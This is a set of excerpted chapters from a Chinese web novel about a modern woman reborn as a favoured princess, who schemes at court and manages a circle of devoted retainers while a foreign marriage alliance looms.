《陷入修罗场后，长公主殿下一心搞事业》
1. 参见长公主殿下
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驶过牡丹灯笼成排的石拱桥，城门中央与两侧各有门关，抬起头，连接着地面与瞭望台的石壁上，祥云波纹的砖瓦恢宏夺目，四角的高塔耸立，红漆瓦砾下的双层阁楼，正灯火辉煌。
入夜时分，她时常会想起，曾经那个霓虹闪烁的时代。
宫中皆知，有这样一人，绝不能招惹，那就是明珠长公主。
她是梁国皇帝最宠爱的公主，却是这宫中对皇帝最不敬之人，常常一开口就是惊世骇俗的言论。
长公主每次气势汹汹地出现，皇帝身边的掌事公公都倒吸一口凉气，慌忙遣散众人离开，以免听到什么不该听的话，招致灭顶之灾。
而明珠长公主并非从前就这般受宠，相反，自从皇后生下嫡公主后，不久便病逝，从此皇帝对长公主冷淡非常，丢在后宫不管不顾。
长公主从小交由宫中的嬷嬷抚养长大，皇帝子嗣众多，长公主从小因为生母去世就遭受排挤，性格懦弱胆怯，不受重视。
在皇宫这种趋炎附势的地方，日常的吃食也远不及那些受宠的皇子公主，一副弱不禁风的样子。
直到那一年，宫中突发瘟疫，长公主和皇上都不慎感染，重病垂危，却都罕见地于次日痊愈，宫中纷传，这是上天的赐福。
但自此，皇帝和长公主皆性情大变。
一向威严不苟言笑的皇帝，在长公主面前仿佛变了一副模样，慈爱温和。
而长公主更是一改往日的小心翼翼，变得张弛有度，落落大方，时常出入御书房，为皇帝建言献策，皇帝对此也百般纵容，没有任何异议。
皇帝事事以明珠长公主为重，让后宫嫔妃都对此侧目，不过还有一事令她们始料未及——陛下再未召幸过任何一位妃子，不仅如此，陛下对以前那些宠爱的妃子和皇子视若无睹，每次客气应付了事。
这偌大的皇城，长公主成了皇帝唯一爱重。
然而，父女两人的关系在第二年急转直下，只因皇帝时隔多日宠幸了一位妃子，而那妃子又怀上了身孕。
长公主得知后大发雷霆，冲到殿前质问。皇帝也一副心虚的神情，最后被指责得恼羞成怒。
直言，“朕是皇帝！”
长公主冷笑两声，砸了桌案上的建盏，拂袖而去。
从此，皇帝再未传召过明珠长公主，长公主也再未踏足过御书房。
明珠长公主目中无人，这是妃嫔们对她的评价。
只要是受皇帝宠爱的妃嫔，都是长公主最看不惯的存在，尤其是对于如今受宠的妃嫔和后来出生的皇子公主，更是将厌恶挂在脸上。
后宫诸人都以为长公主被皇帝厌弃，纷纷谴责，说她张狂，但无论何人当着皇帝的面埋怨长公主的不是，都会被皇帝大加斥责。
明珠长公主成了后宫中最忌讳，也是最畏惧的存在。
如今长公主早到了嫁人的年纪，却迟迟不见皇帝抉择。
过去一些大臣和妃嫔也进言，都被皇帝驳回，曾有西方邻国来使请旨和亲，一位不开眼的大臣提议明珠长公主，皇帝一怒之下，竟派人直接将此人拖出殿外。
从此之后，明珠长公主的亲事也成了前朝后宫讳莫如深的话题。
就这样，明珠长公主迎来了她十九岁生辰。
“长公主殿下，今日是您的生辰，奴婢向您讨个笑脸，您别再愁眉不展了。”小宫女献宝似的把手中的兔子灯笼捧给明珠。
“谢谢。”
兔子圆滚滚的模样十分讨喜，明珠接过那只灯笼，却不见笑颜。
“奴婢哪里担得起您一声谢字，不过想哄您笑一笑。”
“今日辛苦你们了。”
“有您这句话，奴婢们不辛苦，只是不知道今年陛下会不会……”
去年长公主生辰，陛下送来的贺礼被砸个粉碎，宫人们战战兢兢，将消息严防死守，却还是被统管后宫的惠妃娘娘知晓，下旨禁了长公主半年足，供奉全减。
长公主与皇帝陛下置气，不愿开口，长公主宫里入不敷出，还是长公主身边的菊若，被派遣出宫做些别的营生，贴补宫里。
“管他呢。”明珠漫不经心道。
小宫女无奈地叹了口气。
他们这些宫人都是后来拨付在长公主宫里的，长公主和其他主子不同，从不会对他们这些下人撒气。
即便是不小心砸碎了长公主心爱的瓷器，也不过罚钱了事，有什么事情相求，长公主也是能帮则帮。
时常跟他们说不要惹事，但也不用怕事，无论是被谁欺负了，她都会为她们做主，宫人们对这位主子都是极为感激的。
后来长公主与皇帝闹翻后，长公主宫里的宫人也都十分担忧长公主未来的日子。
好在皇帝并非真心厌弃长公主，时常偷偷将他们叫去，询问长公主日常，吃饭如何，天凉了有没有添衣服。
数十年如一日的关怀让宫人们都十分感动，有时规劝着长公主，希望两人的父女之情能和好如初。
长公主却不愿听这些，每次听他们提起都生气，久而久之，也就没人敢再说什么，只是在这些重要日子试探一二。
“董向阜将军的贺礼方才送到了。”小宫女转移话题道，“今年将军未能回京，难为他远在千里之外还这般用心，不枉费您寄送书信到边塞的情谊。”
“送的什么东西？”
“是颗夜明珠。”
长公主的贴身侍女兰萤，从锦绣盒子中取出一颗鸽子蛋大的夜明珠，只是在明亮的内室显得有些暗淡。
明珠把玩着手里圆滚滚的珠子，“这东西能卖多少钱？”
“殿下！”小宫女对自家主子的不解风情有些气闷，“情谊值千金！”
“才千金？”明珠笑了笑，“那也没有很多。”
兰萤一言不发，站在一旁，清点着送来的贺礼。
“难得的是董将军他对您的一片真心。”
“真心……”
“董将军一表人才，为他说亲的人家恐怕门槛都踏破了，即便当初求娶被您一口回绝，时至今日却还为您保留着正室的位置，实属难得。”
“所以就该对他感恩戴德？”
明珠将珠子抛给兰萤，兰萤自如地接在手中。
“他家里四五房妾室呢，搞得跟我辜负了他一样，他不过就是需要个正妻在家摆着，装得为我痴心一片的样子给谁看？”
兰萤将珠子收入锦匣内，放在不起眼的角落。
“那还有其他人选呢，您看看其他人也好。”小宫女锲而不舍道。
“其他人也一个德行，我不抱期待。”
门外传来小太监的声音，“长公主殿下，陛下的贺礼到了！”
“您快去看看吧！”小宫女欣喜地催促着。
明珠施施然起身，不紧不慢地走到庭院中，看见首领太监后面的侍卫们抬着一扇一人多高的玉制屏风。
屏风玉面光洁，上面的深绿水色构成一幅天然山水画，右上方的一点浅紫被雕刻为星辰的形状。
时过境迁，似乎到了该面对现实的地步，她还有要做的事，不能就这么一直僵持下去。
“放进去吧。”
首领太监见她收下，松了口气，喜笑颜开地示意侍卫们将屏风抬进内室。
“长公主殿下，您还未谢恩呢。”首领太监嘱咐道。
“他让我谢恩？”
“这——”首领太监一时语塞。
“我跟他没什么好说的。”
首领太监被噎得无奈，心道这位长公主还真是和以前一样胆大包天，讪笑了两下，待侍卫们安置好皇帝的贺礼，便匆忙带队离开。
皇帝的贺礼一到，各宫嫔妃的贺礼纷至沓来，眼下长公主宫门外倒是不同寻常的热闹，明珠却一概未收，将前来送礼的各宫下人，还有亲自来送贺礼的嫔妃们统统拒之门外。
众人吃了闭门羹，脸色不佳地四散而去，留下一人在原地等着。
“劳烦，再为我通传一声。”
小宫女惊愕，眼前这位可不是随便几句就能搪塞过去的人物，她先是见了礼，便快步往宫室内去。
“长公主殿下，二皇子殿下来了。”
梁国皇室男女一脉排序，二皇子虽是长子，却与长公主相差一岁，以二子排行。
先皇后只生有一女，梁国无嫡子，二皇子生母为众妃之首，所以，这位二皇子是众位皇子中地位最尊贵，也是最受宠的皇子。
当然，这也仅限于那年瘟疫前，现如今皇帝对长公主之外的孩子都保持疏远的态度，见面也说不了几句便把他们打发走，让这位金尊玉贵的二皇子殿下备受打击。
不仅是皇帝对长公主突如其来的宠爱，长公主与以往大相径庭的作风，让二皇子私底下还琢磨，是不是她当初大病初愈后开了灵窍。
“皇姐。”
明珠坐在院子的躺椅上，打量着眼前之人。
这张脸，放眼整个京城，都算是数一数二的俊俏模样，水云纹的黑色蟒袍华贵非常，腰间配饰并不累赘，一块黄玉玉佩，一柄短剑，内敛又不失体面。
美人赏心悦目，明珠态度也软和了几分。
“有事找我？”
“今日是皇姐生辰，
2. 九方赌馆
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长公主宫内，想着兰萤他们回来还得花些时间，明珠小憩起来。
有段时日未见，不知他们过得如何。
恍惚间，那两个满身伤痕的孩子就站在眼前，耳边仿佛响起魔音般的叫嚷，囚笼中的斗兽厮杀着，遍体鳞伤。
殿外，有力的脚步声响起，明珠醒神，注意到走近自己的两人，微微惊诧，原来当初的两个孩子已经长大。
“拜见殿下。”两位少年郎单膝跪地。
她站起身，走过去。
“竹临、梅辛，你们回来了。”明珠扶起两人，“吃了不少苦吧。”
竹临摇头，“不苦。”
“殿下都是为了我们着想，司徒大统领对我们也很是照顾，都是托殿下的福。”梅辛说道。
“那就好。”明珠欣慰道。
当初出于资质考量，她把两个孩子安排进禁军大营，他们年纪尚小，若是闲散在宫里难免屈才，在军营得到系统训练，想必将来可堪大用。
竹临从怀中一个木匣，呈给明珠。
“今日殿下生辰，我们给殿下买了贺礼，还望殿下不嫌弃。”
“怎么会，”明珠接过木匣，“你们送什么我都开心。”
明珠打开木匣，是一对精巧的蝴蝶耳环，虽是银饰，但做工精良，看上去要价不菲。以这两个孩子的薪资，恐怕要攒上一阵子。
“这礼物太贵重了。”
“殿下，不喜欢吗？”
“当然不是！我喜欢得很！”
说罢，明珠换上这对蝴蝶耳环，“我就是替你们心疼钱。”
“送殿下的生辰礼自然越贵重越好，只是我们二人俸禄不多，只能合送一份，实在是惭愧。”
“你们有心意就好，送什么我都喜欢。”
许久未见，上次还是在年初，她特地去禁军大营里探望，两个人手上都是训练时留下的老茧和擦伤，尽管比起初见时的伤痕，不过是小巫见大巫，却仍让她心疼得不行。
“梅辛比上次见黑了点，竹临还是跟之前一样白，不过男孩子个子都长得这么快吗，上次明明跟我差不多高，如今都比我高出一头了。”
“殿下不喜欢黑的吗？”梅辛凑近问道。
“不是啊，小麦色才显得健康，说明现在身体强壮。”
竹临也不甘示弱，上前一步，“那殿下不喜欢白的吗？”
“当然不是啊，”明珠不知道他俩抽什么风，只能两头哄着，“我都羡慕竹临呢，怎么晒都晒不黑。”
两个少年对视一眼，火花四溅。
明珠一头雾水，她记得这两个孩子以前关系不错，现如今怎么看着有些剑拔弩张？
“一会儿我带你们出宫，记得换称呼，别露馅了。”
“是。”两人应声答道。
皇宫门口，守门的士兵看到马车驶出，上前一步拦截住。
“车上何人？”
梅辛勒住缰绳，旁边的竹临掏出令牌。
“长公主殿下。”
“是。”士兵高声喊道，“放行！”
“他们如今倒是熟练不少。”梅辛笑道。
“早该如此，”竹临神色淡然，将令牌仔细收好，“殿下行事无人可阻拦。”
梅辛看了竹临一眼，不置可否，偏头问向马车里的人。
“小姐，咱们去哪？”
“先去松芜那里。”
“松芜哥今日回来啊。”
“嗯，一年了，是时候回来了。”
梅辛扬起缰绳，马车驶向京城内繁华之地——九方赌馆。
京城内人人皆知，九方赌馆是最逍遥快活的去处。
虽是赌馆，开设赌局只是业务其一，动有投壶、骑射、蹴鞠，静有围棋、对诗、猜字谜，凡有对局皆有输赢。根据活动赔率各有不同，便是单纯为爱好前来之人也有。
今日，九方赌馆如往常般热闹喧嚣，一辆马车停在门外，车门被打开，明珠看着车门口伸出手的两人，僵在原地。
怎么她是残废了吗，登基都不用两人搀扶吧……
明珠无奈摊开双手。
一行人未经正厅，从偏厅侧边的连廊来到后院，看守的护院见来人是她，忙请进茶室。一进门，明珠面前就呼啸起一阵风。
“殿下——！”
松芜唰得出现在眼前，离得一臂之遥，却见他定在原地，迟迟没有靠近。久别重逢，明珠也难掩欣喜，注意到松芜红着眼眶，她先一步上前，抱住松芜。
“松芜，你回来了。”
松芜这才犹豫着伸出手，虚虚回抱着明珠，应声中含着呜咽。
远隔千里，想念却不相见，他不敢回想这一年多是怎么度过的，可再见到殿下时，仿佛一切都不再重要。
暖意只残存片刻，便脱离怀中，心绪却未能随之冷却。
几人落座，明珠细细端详起松芜，眼前之人似乎还是从前的模样，柔顺的发搭在一侧肩头，眉眼细腻，像一汪静水，透着丝丝寒气。
明珠熟络地聊闲言，寒暄起来。
“你剃须了？”
“是，”松芜摸了摸下巴，“您说过属下不留胡子好看。”
松芜皮肤冷白，在戎狄做暗探刻意涂了黑，粘上浓密的胡须，还在衣服里垫了几层，才勉强和戎狄人比肩。
“你那么秀气的一张脸，配上络腮胡感觉怪怪的。”
松芜笑了笑，一瞬不瞬地注视着明珠，明珠也注意到了，她轻咳了一声，问起正事。
“你之前在信中说戎狄此次意在和亲？”
“是，殿下派遣属下去戎狄做暗探，这些年属下在戎狄多方部族盘旋，如今其他几个小族羽翼丰满，蠢蠢欲动，戎狄王打算通过与大梁和亲壮大其威势。”
松芜上前为明珠斟茶，油亮的茶水散发着阵阵奶香。
“他们还是那么自信。”明珠抿了口酥油茶，觉得还是喝不惯这咸口的。
松芜注意到她入口的小表情，没有继续添茶。
“殿下打算借此机会行事？”
“是啊，机不可失，如果提前布局，主动权就会握在咱们手里，更何况你离开一年了，也是时候回来和菊若、兰萤她们团聚了。”
“多谢殿下！”
松芜起身跪拜，明珠急忙拦住他。
“快起来，你在外面受了不少苦，如今回来，想要什么尽管说。”
“属下远离故国，静思己过，现如今只求能留在殿下身边效力！”
松芜的这个请求，也是意料之中，这些年跟在她身边的这些人，他们对自己的赤诚让她既动容，也惶恐，如果不是当年那些事，她恐怕也不会让松芜独自留在异国他乡。
3. 男女有别
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正午时分，醉仙楼食客络绎不绝。
今日为了庆贺长公主生辰，大门外挂起了红绸和各式灯笼，檐上缚着彩楼欢门，木架上缠绕着鲜花，色彩缤纷，喜气洋洋。
“下馆子了！”明珠伸了伸懒腰。
一开门，那两人还跟门神似的一左一右。
手心手背都是肉，为了一碗水端平，明珠只能伸出双手，再次隆重走下马车。
“小姐您可来——”匆匆赶来的菊若看见被搀扶的小姐，神色一惊，“这是怎么了，可是受伤了？！”
看到明珠难为情地摇了摇头，菊若心下了然，恐怕是那两人暗自较劲呢。
“快些放手吧，难不成要你们抬着小姐进门？”
两人这才罢手，明珠松了口气，拍了拍菊若的肩膀，给了一个赞赏的眼神。
待与两个少年擦肩而过时，菊若陡然冷脸。
“收好心思，别给主人找不自在。”
听到此言，两人皆停步，竹临皱起眉头，冷眼看着菊若。梅辛不以为然地笑了笑，手搭上菊若肩头，语气却不友善。
“说这话，你不是也一样？”
“男女有别，”菊若嫌弃地拍开肩上的爪子，挑衅道，“你们跟我怎么能一样？”
很快两个少年就知道这句话的分量了。
步入正厅，描绘着日月的绸缎绕着天井上飘落下来，尾端悬挂着错落有致的风铃，荡在头顶，犹如声声浪潮。
四周人声鼎沸，众人目光所及，舞池之上，古筝与琵琶幕前合奏，优伶歌声婉转动人，一片繁华景象。
见明珠目不转睛地看着伶人，身旁的菊若开口，“兰萤她在宫里没给您惹祸吧。”
明珠回神，笑道，“怎么会，那丫头现在可会帮我骂人了。”
“还不都是您惯的。”
来到三层的天字号，酒楼生意虽好，这一间却长久空着，也是松芜当初吩咐的，明珠推辞过，这两兄妹依旧执意，这间就成了她的专属。
此处景致极佳，窗外正对着院中所植的红枫、青枫，当初栽种养护费了好一番功夫，在夏时遇干热风吹袭便会叶缘枯卷，高温日灼还会损伤树皮，如今初长成，红绿相间，并不显突兀，反而不俗。
房内的轻纱幔帐拖延到地面，以墨宝装点，行楷草上书。左右两侧以圆月木制拱门隔开，左边是宴席，右侧是厢房。偶尔夜间巡游，懒得回宫，明珠就会睡在这里。
几人来到酒席宴，桌上摆满了她爱吃的菜，明珠带着几人落座。
“小姐尝尝这个，啊——”菊若夹起一块酥肉。
“啊——”
明珠没觉得丝毫不妥，心安理得地被投喂。
“香，酥肉果然还是现炸的好吃。”
明珠腮帮子吃得鼓起，注意到桌子对面投来的炽热视线。
她一边嚼一边说道，“你们两个也动筷啊，别光看着我吃，好不容易改善伙食。”
菊若没给两人说话的机会。
“今日小姐生辰，我把您上次说的‘蛋糕’和蔡师傅一同研习了一番，我让他们端来可好？”
“居然成了！？”
“蔡师傅为了打发蛋清，可是费了一番功夫，这会儿胳膊都抬不起来了。”
“那可得好好加赏蔡师傅，今年年终奖翻倍。”
菊若抽出手帕，替明珠擦拭着嘴角沾到的油渍。
“那我呢？”
“你也翻倍。”
菊若摇摇头，“小姐给工钱足够，我想让小姐赏点别的。”
对面那两人听到她这话，如临大敌，纷纷侧耳。
“没问题，你想要什么？”
“菊若想为小姐的生辰献舞，当作您的生辰贺礼。”
“这哪里是讨赏？”
“只不过有一要求。”
“你说。”
菊若勾唇一笑，“这舞为西域舞种，颇为外放热辣，菊若羞怯，想请小姐到厢房中，独献给小姐一人。”
“不妥！”竹临开口阻拦。
梅辛面上漫不经心，桌下拳头紧握，“菊若姐姐也忒小气，咱们自幼相识，亲如姐弟，何须避讳我们？”
“欸！你们懂什么，现在怎可与儿时相提并论，”明珠教育起两个男孩子，“男女有别，菊若不好意思在你们面前跳舞很正常，她不想让你们看，你们就不许看。”
菊若抬眸，略有些得意。
“那小姐随我来吧，蛋糕稍后也会送入房中。”
“好。”
菊若跟在明珠身后，进门前瞥了那两人一眼，轻蔑地勾起嘴角。
一炷香后，竹临和梅辛不安地握紧拳头，在厢房门外来回踱步，惹得旁边候命的店小二凑上前。
“两位公子不必紧张，我们掌柜在里面陪着呢，贵人不会有事的。”
“放屁！”梅辛忍不住发火，有碍于房间里的人，只能轻声骂道，“我倒是小瞧了你们掌柜，这些年在外面学了不少好手段啊！”
“我们掌
4. 为了这碟醋，包顿饺子吧
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戎狄的国书递交到皇帝书案时，明珠正悠闲地躺在院子中。
早前松芜差人把雪豹送进长公主宫里，她拿羽毛和铃铛做了个逗猫棒，这几日小家伙玩得不亦乐乎，这会儿正在自己脚边撒欢。
一旁，兰萤修剪着盆景的花枝，旁溢的枝桠被干净利落地截下，只留着长势喜人的两朵。
“您说，陛下会允准和亲吗？”
明珠闻言，开着玩笑，“他若让我去，兰萤你会怎么办？”
“我……”兰萤举着手中的剪刀，决然道，“我就和陛下同归于尽！”
“哈哈哈哈哈！”明珠在一旁笑得眼泪都出来了，“果然，还是兰萤你最好！”
兰萤在几人当中年纪最小，到明珠身边时年方十岁，心智未全，对明珠格外依赖，明珠也无避讳，两人之间谈话百无禁忌，若是外人听到，估计惊得冷汗直落。
“也不知道戎狄人长什么样子。”
“殿下想知道？”
“毕竟来的是个王子，这个称号下若是其貌不扬，不免让人失望。”
兰萤斟酌片刻，似乎在脑海中有了画面。
“估计会和松哥之前那样，也留着难看的络腮胡子。”
明珠忍俊不禁道，“松芜本身就不是戎狄人，更何况咱们是看惯了他那张白净的脸，所以才觉得留胡子难看。”
松芜原本长相就偏弱气，散发时还有些雌雄莫辨的美感，不过他善于伪装，又有杀伐果断的狠辣，如此方能混迹于戎狄。
两人说着话，旁边小雪豹被冷落，小家伙抬起身子往躺椅上扑，明珠揉了揉它的毛绒脑袋，小雪豹发出呼噜呼噜的声音。
“驯兽师打听的如何？”
明珠挠着它的下巴，小雪豹眯着眼睛，一脸享受。
“北郊行宫有一位驯兽师颇有实力，已遣人去请了，估计明日午后就能到……”
见他们亲密互动，兰萤目光哀怨，她拎起逗猫棒，铃铛声响起，小雪豹被吸引。将它从殿下身边支走，兰萤一把将玩具丢远，自己蹲在明珠面前捧着脸卖乖。
“殿下，将人安置在西侧宫殿您看如何，殿前有片草坪，方便驯兽。”
邀功似的，仿佛在说“看我多贴心”。
“可以啊，兰萤的安排自然是最好的，不愧是我们家老幺。”明珠顺势挠了挠小兰萤的下巴，兰萤笑着眯起眼睛，与幼兽如出一辙。
这时，小宫女从院外进来。
“长公主殿下，三皇子求见。”
“三皇子，他来干什么？”
明珠疑惑，此人一向默默无闻，她没有太大印象。
平素里，三皇子与她并无交集，上次见面还是在家宴上，当时因常年卧病的五公主高烧，宫女来报，他才请求早早离场。
宫女预料到殿下会有疑问，回道，“说是为了戎狄和亲一事。”
明珠了然，三皇子的胞妹五公主，及笄不久，正是议亲的时候，此次戎狄求娶公主，三皇子恐怕以为五公主位列其中。
他来，估计是想求个人情。
“让他进来吧。”
三皇子火急火燎赶来，一进来就噗通一声跪倒在地。
“求皇姐救我妹妹！”
明珠吓了一跳，脚边的小雪豹也冲着来人呲牙，明珠急去安抚，示意让人扶他起来，他却仍倔强地跪着。
“定了你妹妹？”
五公主是早产儿，自幼病弱，心智不全，及笄之后有些行为依旧如孩童，若让她嫁到戎狄，几乎和送死没什么区别。
明珠疑惑，以现如今的皇帝，轻易不会让一个病弱的女孩子远嫁外国。
三皇子摇头，“还未。”
“那你急什么？”
“臣弟自知父皇素来爱重皇姐，断不可能遣嫁皇姐去那蛮夷之地，如此萱儿便是父皇首选。”三皇子神情真挚，语气有些急切，“臣弟感激上次家宴，皇姐遣太医来为萱儿医治，臣弟无能，只有来求皇姐……”
论资排辈，除了她这位嫡长女，第二个出生的公主便是五公主李凌萱了。
自从他们的生母祥嫔病逝，外祖
5. 皇帝是我亲爹
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宫人传报，说北郊行宫的驯兽师前来觐见。
明珠抱着呼噜作响的小雪豹，“都驯过哪些野兽？”
“回殿下，卑职专驯猛兽，驯过苍鹰、猎犬、马、狼。”
“连狼都驯过？”
“是，卑职的族人有和狼群一起生活的习俗。”
明珠心血来潮，觉得弄只小狼崽在身边也不错，她捏了捏小雪豹的肉垫，露出隐藏的利爪。
“如果被这类猛兽抓伤，有什么法子治疗？”
“卑职特制秘药，专门治疗抓伤咬伤，小伤口外敷七日即可。”
“好，”明珠取来沾了皂角的湿手帕，细心擦拭着小雪豹的爪子，“有一事，你多担待。”
说罢，明珠按住利爪，往自己手臂上猛划一下，三条浅浅的血痕赫然出现在白皙的臂膀上。小雪豹一惊，唰的缩回爪子，试图去舔舐那几道伤口，被明珠一把拦住。
“您这！”驯兽师如被雷劈一般，急忙跪倒在地，“求长公主饶命！！”
“你闭口不言，我保你性命无虞。”
明珠示意宫女，宫女点头，外出向皇帝报信。
看着台下战战兢兢的驯兽师，明珠摆了摆手，让给自己包扎的兰萤过去扶他起来。
“你去殿外候着吧。”
“是、是。”驯兽师站在一旁不住地擦汗。
不到半炷香，皇帝的轿辇停在了长公主宫外。
“星星，快让爸爸看看伤到哪儿了？！”
皇帝身边的侍从与长公主宫内的宫人见怪不怪，纷纷站在殿外候着。
明珠没好气地把胳膊摆在扶手上，皇帝把纱布拆下来，看到胳膊上明晃晃三条抓痕，忍不住忙俯下身去呼气。
“没事，吹吹就不疼了。”
若是世人看到此番场景，恐怕要下巴惊掉，从未听闻哪朝哪代皇帝对自己的孩子能这般爱惜。
没错，他们父女两人不属于这里，她叫贺晨星，二十四岁，家里的独生女，父亲叫贺建民。
一切始于两年前一场车祸，他们来到这个未知的朝代，占据了这两个因瘟疫双双殒命的皇帝皇女的身体。
刚来到此地时，作为父亲的他对做皇帝的一切都不知所措，他全然不通，不知如何治理国家。大臣们上奏的事情一件接一件，听得他头晕目眩，全靠女儿周旋于各方，帮他处理了很多棘手的难题。
而作为一个现代人，做了皇帝，一切财富、权力、女人都会向他靠拢，他没有足够的意志力去承受这等诱惑，他只是一个普通男人，善良又不够强硬，倔强却缺少智慧，软弱中还有点大男子主义。
一开始还会惴惴不安，但是后来就心安理得，坐在这把龙椅上，生杀予夺变得轻而易举，对于皇帝，即使是杀人也不会有任何惩罚。
随着时局的稳定，和手握天下人生杀大权的虚荣作祟，他这个皇帝做得越来越得心应手。
可他始终对自己的女儿有歉意、有羞愧，他不敢面对她，他作为父亲，深爱着她，但他不敢直视自己的背叛。
后来与女儿闹翻后，他独立理政，发现自己即便在某些事情上做错了，也不会有人敢置喙，反而有人吹嘘鼓励他，这使他信心倍增。只要说“可”或“不可”，其他的交由专门负责的部门去做就可以，成果不好就换一批人，总会有人做好。
在看不到女儿的地方，他自在地做起了皇帝，只有在想起她的时候，才会清醒地发现自己，只是来自现代的一个普通人。
但他不舍得女儿离开自己，这个陌生的世界，他们是彼此唯一的亲人，即便是后来跟其他女人有了孩子，但他们跟她还是不一样。
他仍把她视为自己唯一的孩子，他不能弄丢她。
“怎么回事啊，怎么就被抓伤了，宫里谁养猫了？”
“不是，我自己养的。”
小雪豹从裙摆下探出脑袋，皇帝一惊。
“呀！乖乖你怎么养了豹子，不行不行，这种野兽不能养在身边！”
明珠不以为然，“我叫了驯兽师来，他会把豹子驯好。”
“那它长大了以后怎么办，太不安全了，你要是想养动物，我让人给你找小猫小狗。”
“不，我要把它养在身边，教训那些想害我的人。”
听到明珠的话，皇帝眉头紧皱，但还是先让太医把消毒的药水留下，亲自拿起棉花签子给明珠擦伤口。
“是不是她们又有人来找你麻烦？”
“没有。”
“你跟爸爸说实话，要是她们有人找你不痛快，爸爸给你做主。”
她听到他这话，不禁气血上涌，他怎么有脸说这句话呢。
强忍着，在泪水涌落前，将话题转移。
“戎狄是不是要和亲？”
“乖乖，你担心这个干什么，是不是有人胡说八道，爸爸怎
6. 兄妹情深
《陷入修罗场后，长公主殿下一心搞事业》全本免费阅读
次日晌午，兰萤从明珠床上悄悄起身，昨夜明珠躺在她身侧，偷偷哭了一宿。兰萤驱使着马匹，想着回来的时候要给殿下带些喜欢的果脯蜜饯。
“吁！”
醉仙楼人来人往，兰萤将马匹拴在马厩，熟门熟路地走进菊若的厢房。
“小妹！”松芜起身迎她，热络道，“一年多没见，都长这么高了！”
“大哥，二姐。”
“还是大哥面子大，”菊若正端着小碗，品尝酥油茶，“如今小妹在殿下身边，还真难请动你这尊大佛。”
兰萤冷哼一声，对菊若的挤兑充耳不闻。
二姐素来爱在殿下面前卖弄，不想一朝风头过盛，殿下便将产业悉数交由二姐打理，使她不得不搬离宫外，二姐傻眼，有大哥的前车之鉴，她明白忤逆殿下无用，只能在见自己的时候酸上几句，兰萤对这些早已习惯。
她没接菊若的话茬，转而问道，“那是大哥带回来的特产吗？”
“是啊，”松芜笑道，“特意带回来的，你尝尝。”
兰萤狐疑，“有猫腻？”
菊若翻了个白眼，“殿下不喜欢这些，他就赏给我们喝了。”
“我就说，大哥什么时候对我们这么好了。”
落座后，菊若叫人传菜，席筵上三人还算和谐，尤其是松芜，还装模做样说了些嘘寒问暖的话，听得另外两个人浑身不自在。
“小妹，眼下乌青怎么这么重，是殿下那里出什么事了吗？”
兰萤斟酌着开口，“殿下昨夜，没休息好。”
原本漫不经心的两人顿然醒神，正色道，“为何？”
“昨日，皇帝陛下来了。”兰萤不想被他俩多盘问，单刀直入地说起正事，“殿下说了，计划暂推，等确定和亲人选后再动手。”
“好……”松芜为她们斟酒，迟疑道，“此次和亲人选，皇帝当真不会考虑明珠殿下吗？”
松芜不愿多心，他在殿下身边时日有限，却也清楚皇帝对长公主多么宠信倚重，可当年御书房决裂之事，宫里传得沸沸扬扬，倘若皇帝心狠，难保不会因国事舍弃长公主。
“不会。”兰萤笃定道。
即便如此，疑虑并未被打消，松芜继续问道，“殿下不愿和陛下和好，当初究竟发生了什么？”
“我在宫外也只知道是令嫔怀孕，才有了御书房决裂一事。”一旁的菊若也附和道，“殿下是不喜令嫔吗？”
兰萤纠结道，“是，也不全是。”
令嫔此人阴险，殿下对她的种种行为深恶痛绝，可即便怀孕的是其他妃嫔，殿下也并不会若无其事。
“既然殿下不快，你怎么不处理掉那个女人。”菊若不满道。
松芜的眼神也变得犀利，话中带刺，“殿下当初只留你一人在身边，你若是不济事，就把位置让出来。”
见长兄长姐咄咄逼人的架势，兰萤不欲与他们多言。
“殿下还在宫里等我，我该回去了。”
菜还未上齐，兰萤起身离席，心里却咽不下这口气，她回过头说道，“大哥，你别忘了，当初是谁疯癫到做局软禁殿下，才被赶去做外族细作。”
松芜脸色瞬间变得难看。
“二姐，就算没人发现，我也知道那件事有你一份。”
菊若瞪了她一眼，兰萤知道这是警告自己，时过境迁，她也不愿在殿下面前翻旧账。
“有些心思殿下不点破，是为了你们好，你们自己也要懂得收敛，当心——引火自焚，这一年多，兄长吃的教训还不够吗。”说罢，兰萤头也不回地走了。
长公主宫内，明珠吃着兰萤带回来的梅干。
“怎么这么早就回来了，没一起吃个饭吗？”
“没胃口……”兰萤神色恹恹。
“呦，谁惹我们小兰萤不高兴了？”
明珠用手帕净了净手，把兰萤招呼到身边，牵起她的手。
“他们俩又说你了？”
兰萤没吭声，眼眶却红起来，明珠赶忙给兰萤让出位置，两人一并坐在软榻上。兰萤把头搭在明珠肩头，对方的手一下一下轻抚着她的后背，兰萤垂眸，掩下眼底的得逞。
“你别听他们说的那些。”
“不听……兰萤讨厌他们。”
“好。”
“讨厌竹临、梅辛。”
“嗯。”
“讨厌董向阜。”
“是。”
“殿下……”兰萤嘴里嘟囔着。
“？”明珠安抚的手一滞，“连我也讨厌了？”
兰萤小脸连鼻子都皱起，用头轻轻捶了明珠肩膀一下。
“殿下胡说。”
明珠轻笑，扶起兰萤的脸，伸手取来一颗梅干，填进她的嘴里。
“不生气啦？”
“殿下，”兰萤突然问道，“您会成亲吗？”
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情话，可那些话却仿佛是勒紧松芜脖子的细线，让他喘不上气。
“不，我做不好！”
松芜激烈地摇着头，挣扎道，“殿下不要让我走，我不行，我不想离开殿下！”
“松芜！”
明珠一把捧住他的脸，松芜被迫和她对视，滚烫的泪水顺着她的手掌下涌。
“殿下为了他们，不要我了吗？”
明珠拂去他脸上的泪水，正色道，“是我把你带回来的，我永远不会抛弃你。”
“可是殿下要把我赶走！
“我知道我做错了事，还屡教不改，殿下怎么罚我都好，哪怕把我打死也好，我不想离开您身边！！”
松芜紧拽着明珠的手，掌心的伤痕剐蹭过，明珠语气又软了几分。
“不仅是这些事，松芜，你知道的。”
松芜瞳孔一震，畏缩地松开手。
“你们现在还小，有些事分辨不清，行万里路，见万人，想必会让心胸更开阔。
“而且去戎狄，也是我交给你的任务。”
“松芜，”明珠反握起他的手，轻轻抚摸着他掌心的伤痕，抬眸看着他，莞尔道，“你会帮我的，对吗？”
松芜垂下头，哽咽不止。
“松芜，遵命……”
旧日阴云散去，思绪回笼，松芜丢下被折断的烟杆，离开茶室，窗外的风吹散烟草灰，落了一地。
次日天一亮，明珠一行人就带着鬼方一族从库伦出发，准备返回北境。
翟聿守在营帐前，望眼欲穿，看到明珠出来，他急哄哄上前。
“明珠，那只兔子……”
明珠举起手里的竹织笼子，兔子在里面悠哉地啃着干草料。
“你放心，我会好好养它。”
“给它起名字了吗？”
“还没，你有什么主意吗？”
